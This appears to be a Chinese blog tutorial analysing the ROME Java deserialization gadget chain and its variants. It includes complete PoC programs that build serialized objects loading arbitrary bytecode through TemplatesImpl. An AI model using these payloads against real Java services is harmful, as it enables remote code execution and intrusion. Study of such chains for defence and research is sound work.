ROME 反序列化

ROME 反序列化

rome 是什么

ROME是主要用于解析RSS和Atom种子的一个Java框架。

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

环境配置

  • rome:rome:1.0
  • jdk8u71
<dependency>  
    <groupId>rome</groupId>  
    <artifactId>rome</artifactId>  
    <version>1.0</version>  
</dependency>

链子分析

* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

在 ysoserial 给出的链子中以 HashMap.readObject 作为反序列化入口点的。这个就不用多说了,触发 hash,触发 hashcode。然后和 cc6 不同的是触发得是 rome 中 ObjectBean 类的 hashcode,

然后触发EqualsBean. beanHashcode,在去触发 toString 函数,这个 _obj 可以通过构造函数进行控制。

跟着来到 ObjectBean 的 toString 方法:

发现调用了 toStringBean 的 toString 方法,跟进

通过旁边的注释也不难看出就是在通过反射调用 getter 方法。具体怎么回事呢,先跟进 getPropertyDescriptors 看看

看见在满足 if 条件后,先执行了 getPDs 方法,这个方法又干了什么?


就是获得 class 的 getter 和 setter 方法。

然后回到上面的 getPropertyDescriptors 方法,在获得 getter 和 setter 方法后调用了 _introspected.put 处理。_introspected 就是上面的 hashmap 对象。意思就是调用了 hashmap 的 put 方法把方法存进了 map 中,然后在 ToStringBean. toString 进行遍历 map 。

说起调用 getter 方法去加载字节码,和 CB 链思路很像。所以这里就是 ToStringBean. toString 去触发TemplatesImpl.getOutputProperties方法来加载字节码

poc 编写

先把 objectBean 进行实列化,待会调用其 hashcode 方法,看看其构造函数

然后需要的是 hashcoed 去触发 equalsBean.beanHashCode()

这里可以跳过调用 objectBean. toString,直接调用 ToStringBean. toString 方法。所以需要_obj 为 ToStringBean 对象,这里的 obj 也就是 objectBean 构造函数中的 obj,至于另一个参数 beanClass 就不用管了。

ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);

然后在这之前就是 ToStringBean 对象的编写。来到其 toString 方法,

我们想要的是 TemplatesImpl 中的 getOutputProperties () 方法。但是上面说了会对所有的 getter 方法进行遍历,而 TemplatesImpl 有很多的 getter 方法,所以这里可以把 _beanClass 设置为其接口类 Templates.class,它里面只有这一个 getter 方法。

所以

ToStringBean tobean = new ToStringBean(Templates.class,tem);

剩下的前面触发 hashcode 方法就照着 cc6 写,后面动态类加载字节码可以照着 cb 链写。

然后至于解决 put 提前触发的问题可以把 ToStringBean 对象改为

ToStringBean tobean = new ToStringBean(Templates.class,);

在 put 过后利用反射修改 _obj 的值

Field v = tobean.getClass().getDeclaredField("_obj");  
v.setAccessible(true);  
v.set(tobean, tem);

最后 poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));  
  
        ObjectBean bean = new ObjectBean(ToStringBean.class,tobean);  
  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(bean,"gaoren");  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        serilize(hashmap);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

番外

上面的 poc 是照着 ysoserial 中的链子写的,事实上 poc 还有很多。

BadAttributeValueExpException

上面看到最后想要调用的是 toString 方法,这和 cc5 很像,cc5 最后也是调用 TiedMapEntry. toString 方法去触发 getValue 方法。

所以这里利用 BadAttributeValueExpException. readobject 方法来触发 ToStringBean. tostring 方法,

直接照搬前面的 cc5

BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
ObjectBean bean = new ObjectBean(Templates.class, tem);  
  
Field v = val.getClass().getDeclaredField("val");  
v.setAccessible(true);  
v.set(val, bean);

poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.ObjectBean;  
import javax.management.BadAttributeValueExpException;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.lang.reflect.Field;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);  
        ObjectBean bean = new ObjectBean(Templates.class, tem);  
  
        Field v = val.getClass().getDeclaredField("val");  
        v.setAccessible(true);  
        v.set(val, bean);  
  
        serilize(val);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

EqualsBean

EqualsBean 也有 hashcode 方法

所以和原本的 rome 没什么区别,就是把 hash 触发 objectbean. hashcode 改为 equalsbean. hashcode。

poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));  
  
        EqualsBean equal = new EqualsBean(ToStringBean.class,tobean);  
  
        HashMap<Object,Object> hashmap = new HashMap<>();  
        hashmap.put(equal,"gaoren");  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        serilize(hashmap);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

hashset

这个就是把开头触发 hashcode 换为了 cc6 另外一条。

hashset.readobject 中的 put 方法可以触发。这个也照着拼接就行了。

poc

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import com.sun.syndication.feed.impl.ObjectBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.lang.reflect.Field;  
import java.util.HashSet;  
  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
  
        ToStringBean tobean = new ToStringBean(Templates.class,new ConstantTransformer(1));  
  
        EqualsBean equal = new EqualsBean(ToStringBean.class,tobean);  
  
        HashSet set=new HashSet();  
        set.add(equal);  
  
        Field v = tobean.getClass().getDeclaredField("_obj");  
        v.setAccessible(true);  
        v.set(tobean, tem);  
  
        serilize(set);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

ObjectBean#equals

看了 nivia 师傅的文章,发现 ObjectBean.equals 也可以实现利用链,跟进

看见调用了 beanEquals,跟进后发现也有调用 getter 函数。

后面的就不用多说什么了,回忆一下前面是怎么触发到 equals 的。通过 hashtable. radobject 触发 reconstitutionPut 方法,然后两次 hash 比较相同后调用 equals 方法。最终会触发HashMap的equals方法,由于HashMap没有实现equals方法,会调用AbstructMap 类的equals方法。

这里看到又会调用 equals 方法,在原本的 cc7 中我们想要的就只是调用 m.get 函数,而这里可以通过控制 value 的值来调用到 ObjectBean 的 equals 方法。然后调用到 beanEquals 方法,但是最后要成功调用 getter 方法需要满足一些条件

看到要 bean1 和 bean2 不为空。还需要满足

if (!_beanClass.isInstance(bean2))

这里就是判断 bean2 是否是 _beanClass 类的或其子类的实例。由后面调用 getter 不难看出 _beanClass 是 equalsbean 类。

现在我们要做的就是让 bean2 满足条件就行,朔源发现 bean2 就是 AbstructMap 类 equals 方法中的 m.get(key)。m.get (key) 就是获取 hashmap 中 key 对应的 value 值。

然后就是我们还需要控制 value.equals(m.get(key)) 中的 value 值,让其为 objectbean 对象或者 equalsbean 对象(equalsbean 里面也有 equals 方法,同样可以直接触发 beanEquals 方法)。现在就是需要两个 value 值,一个为 TemplatesImpl 对象一个为 equalsbean 对象,所以这里需要两个 hashmap,先构造 payload 在分析吧

package org.example;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import javax.xml.transform.Templates;  
import java.io.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.lang.reflect.Field;  
  
public class Rome {  
    public static void main(String[] args)throws Exception {  
  
        TemplatesImpl tem =new TemplatesImpl();  
        byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));  
        setValue(tem, "_bytecodes", new byte[][]{code});  
        setValue(tem, "_tfactory", new TransformerFactoryImpl());  
        setValue(tem, "_name", "gaoren");  
        setValue(tem, "_class", null);  
  
        EqualsBean bean = new EqualsBean(String.class, "gaoren");  
  
        HashMap hashMap1 = new HashMap();  
        hashMap1.put("yy", bean);  
        hashMap1.put("zZ", tem);  
  
        HashMap hashMap2 = new HashMap();  
        hashMap2.put("yy", tem);  
        hashMap2.put("zZ", bean);  
  
        Hashtable table = new Hashtable();  
        table.put(hashMap1, "1");  
        table.put(hashMap2, "2");  
  
        setValue(bean, "_beanClass", Templates.class);  
        setValue(bean, "_obj", tem);  
  
        serilize(table);  
        deserilize("111.bin");  
    }  
    public static void serilize(Object obj)throws IOException {  
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));  
        out.writeObject(obj);  
    }  
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{  
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));  
        Object obj=in.readObject();  
        return obj;  
    }  
    public static void setValue(Object obj,String fieldName,Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj,value);  
    }  
}

其他的都很好理解,可以看到这里 hashmap 里面传了两个键值对,先来分析其 hashcode 为什么相等。

跟进 hashcode 函数,发现其是计算的 hashmap 中键值对的 hash 值进行相加,

键值对的 hash 值又是如何计算的,继续看

可以看到是键 hash 加值 hash。所以这里 hashmap1 和 hashmap2 只是调换了键值对的顺序其 hash 相加还是相等的。因为在 hashtable 的 readobject 中进行判断时,hashmap1 和 hashmap2 都只是键。

然后就是关键的为什么要放两个键值对。

e 是 table 中的 hashmap,也就是 hashmap1,然后 key 是 hashmap2 中的键。然后继续跟进到 AbstractMap 的 equals 中。

i 是遍历的 hashmap 值,这个 hashmap 是调用该方法的 hashmap ,也就是 hashmap1。而 m 是 hashmap2。所以这里的 value 就是 equalsbean 对象,而 m.get (key) 就是 TemplatesImpl。最后反射修改值,调用 getter 方法。

当然还有一些可以和其他的结合的就太多了。

参考:https://xz.aliyun.com/t/12768?time__1311=GqGxu7G%3DoYqCqGN4eewwrDn77GCDcWmcaoD

参考:https://nivi4.notion.site/ROME-5b10d8b72e6d400aaec4722039b6c9ea

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值